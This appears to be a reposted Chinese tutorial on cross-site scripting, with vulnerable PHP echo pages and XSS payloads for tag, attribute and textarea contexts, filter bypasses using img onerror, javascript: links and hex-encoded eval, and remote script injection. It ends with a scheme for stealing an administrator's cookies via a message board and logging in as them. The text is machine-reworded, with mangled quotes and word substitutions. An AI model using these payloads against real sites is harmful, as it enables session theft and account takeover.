首页 » 网站建设 » 桂林老兵php技巧_XSS跨站脚本进击的事理分析与解剖

桂林老兵php技巧_XSS跨站脚本进击的事理分析与解剖

duote123 2024-12-07 0

扫一扫用手机浏览

文章目录 [+]

《xss攻击手腕》一开始在互联网上资料并不多(都是现成的代码,没有从根本的开始),直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击阐发与防御》才开始好转。

我这里就不说什么xss的历史什么东西了,xss是一门又热门又不太受重视的Web攻击手腕,为什么会这样呢,缘故原由有下:

桂林老兵php技巧_XSS跨站脚本进击的事理分析与解剖

1、耗韶光2、有一定几率不堪利3、没有相应的软件来完成自动化攻击4、前期须要基本的html、js功底,后期须要踏实的html、js、actionscript2/3.0等措辞的功底5、是一种被动的攻击手腕6、对website有http-only、crossdomian.xml没有用

但是这些并没有影响黑客对此漏洞的偏爱,缘故原由不须要多,只须要一个。

桂林老兵php技巧_XSS跨站脚本进击的事理分析与解剖
(图片来自网络侵删)

Xss险些每个网站都存在,google、baidu、360等都存在。

0×02 事理:

首先我们现在本地搭建个PHP环境(可以利用phpstudy安装包安装),然后在index.php文件里写入如下代码:

<html> <head> <meta http-equiv=\公众Content-Type\"大众 content=\公众text/html; charset=utf-8\"大众 /> <title>XSS事理重现</title> </head> <body> <form action=\公众\"大众 method=\公众get\"大众> <input type=\"大众text\公众 name=\"大众xss_input\"大众> <input type=\"大众submit\"大众> </form> <hr> <?php $xss = $_GET['xss_input']; echo '你输入的字符为<br>'.$xss; ?> </body> </html>

然后,你会在页面看到这样的页面

我们试着输入abcd123,得到的结果为

我们在看看源代码

我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入下面的代码会涌现什么呢?

<script>alert('xss')</script>

如果按照上面的例子来说,它该当存在第12行的[br]与[/boby]>之间,变成:

<br><script>alert('xss')</script></boby>

之后,该当会弹出对话框。

既然假设提出来,那我们来实现下这个假设成不成立吧。

我们输入

<script>alert('xss')</script>

得到的页面为

成功弹窗,这个时候基本上就可以确定存在xss漏洞。

我们在看看源代码

看来,我们的假设成功了,这节就说说XSS的事理,下面几节说说xss的布局和利用。

0×03 xss利用输出的环境来布局代码 :

上节说了xss的事理,但是我们的输出点不一在[ br ]和[ /boby ]里,可以涌如今html标签的属性里,或者其他标签里面。
以是这节很主要,由于不一定 当你输入下面代码就会涌现弹窗。

<script>alert('xss')</script>

先贴出代码:

<html> <head> <meta http-equiv=\公众Content-Type\公众 content=\"大众text/html; charset=utf-8\公众 /> <title>XSS利用输出的环境来布局代码</title> </head> <body> <center> <h6>把我们输入的字符串 输出到input里的value属性里</h6> <form action=\"大众\公众 method=\"大众get\"大众> <h6>请输入你想显现的字符串</h6> <input type=\"大众text\"大众 name=\"大众xss_input_value\公众 value=\"大众输入\"大众><br> <input type=\公众submit\"大众> </form> <hr> <?php $xss = $_GET['xss_input_value']; if(isset($xss)){ echo '<input type=\"大众text\"大众 value=\公众'.$xss.'\"大众>'; }else{ echo '<input type=\"大众type\"大众 value=\"大众输出\"大众>'; } ?> </center> </body> </html>

下面是代码的页面

这段代码的浸染是把第一个输入框的字符串,输出到第二个输入框,我们输入1,那么第二个input里的value值便是1,下面是页面的截图和源代码的截图(这里我输入下面的代码来测试)

<script>alert('xss')</script>

明显的可以看到,并没有弹出对话框,大家可能会迷惑为什么没有弹窗呢,我们来看看源代码

我们看到我们输入的字符串被输出到第15行input标签里的value属性里面,被当成value里的值来显现出来,以是并没有弹窗,这时候我们该怎么办呢?聪明的人已经创造了可以在

<script>alert(&#039;xss&#039;)</script>

前面加个\"大众>来闭合input标签。
以是该当得到的结果为

成功弹窗了,我们在看看这时的页面

看到后面有第二个input输入框后面跟有\"大众>字符串,为什么会这样呢,我们来看看源代码

这时可以看到我们布局的代码里面有两个\"大众>,第一个\"大众>是为了闭合input标签,以是第二个\公众>就被抛弃了,由于html的容错性高,以是并没有像php那样涌现缺点,而是直接把多余的字符串来输出了,有的人是个完美主义者,不喜好有多余的字符串被输出,这时该怎么办呢?

这里我问大家一个问题,我之前说的xss代码里,为什么全是带有标签的。
难道就不能不带标签么?!
答:当然可以。
既然可以不用标签,那我们就用标签里的属性来布局XSS,这样的话,xss代码又少,又不会有多余的字符串被输出来。

还是这个环境,但是不能利用标签,你该当怎么做。
想想input里有什么属性可以调用js,html学的好的人,该当知道了,on事宜,对的。
我们可以用on事宜来进行弹窗,比如这个xss代码 我们可以写成

\公众 onclick=\公众alert(&#039;xss&#039;)

这时,我们在来试试,页面会发生什么样的变革吧。

没有看到弹窗啊,失落败了么?答案当然是缺点的,由于onclick是鼠标点击事宜,也便是说当你的鼠标点击第二个input输入框的时候,就会触发onclick事宜,然后实行alert(&#039;xss&#039;)代码。
我们来试试看

当我点击后,就涌现了弹窗,这时我们来看看源代码吧

第15行,value值为空,当鼠标点击时,就会弹出对话框。
这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又低落了么。
我来帮你解答这个问题,on事宜不止onclick这一个,还有很多,如果你想不须要用户完成什么动作就可以触发的话,i可以把onclick改成

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

还有很多,我这里就不一一解释了,有兴趣的朋友可以自行查询下。

别以为就这样结束了,还有一类环境不能用上述的方法,

那便是如果在[ textarea ]标签里呢?!
或者其他优先级比script高的呢?

就下面这样

这时我们该怎么办呢?既然前面都说了闭合属性和闭合标签了,那能不能闭合完全的标签呢,答案是肯定的。
我们可以输入下面的代码就可以实现弹窗了。

</textarea><script>alert('xss')</script>

0×04 过滤的办理办法

如果说网站禁止过滤了script 这时该怎么办呢,记住一句话,这是我总结出来的“xss便是在页面实行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。
我们可以这样写

<img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时,实行alert('xss') <a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss') <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr来弹窗 <img src=\"大众1\公众 onerror=eval(\"大众\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\公众)></img>过滤了alert来实行弹窗

等等有很多的方法,不要把思想总局限于一种上面,记住一句话“xss便是在页面实行你想要的js”其他的管他去。
(当然有的时候还有管他…)

0×05 xss的利用

说了那么多,大家可能都以为xss便是弹窗,实在错了,弹窗只是测试xss的存在性和利用性。

这时我们要插入js代码了,怎么插呢?

你可以这样

<script scr=\"大众js_url\公众></script>

也可以这样

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

各种姿势,各种插,只要鞥运行我们的js就OK。
那运行我们的js有什么用呢?

Js可以干很多的事,可以获取cookies(对http-only没用)、掌握用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入下面的代码:

<script scr=\"大众js_url\"大众></script>

当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用“桂林老兵cookie欺骗工具”来变动你的cookies,就可以不用输入账号 密码 验证码 就可以以管理员的办法来进行登录了。

原文地址:http://netsecurity.51cto.com/art/201408/448305_all.htm

博客文章:http://blog.xbbai.site/xiao-bai-153.html

标签:

相关文章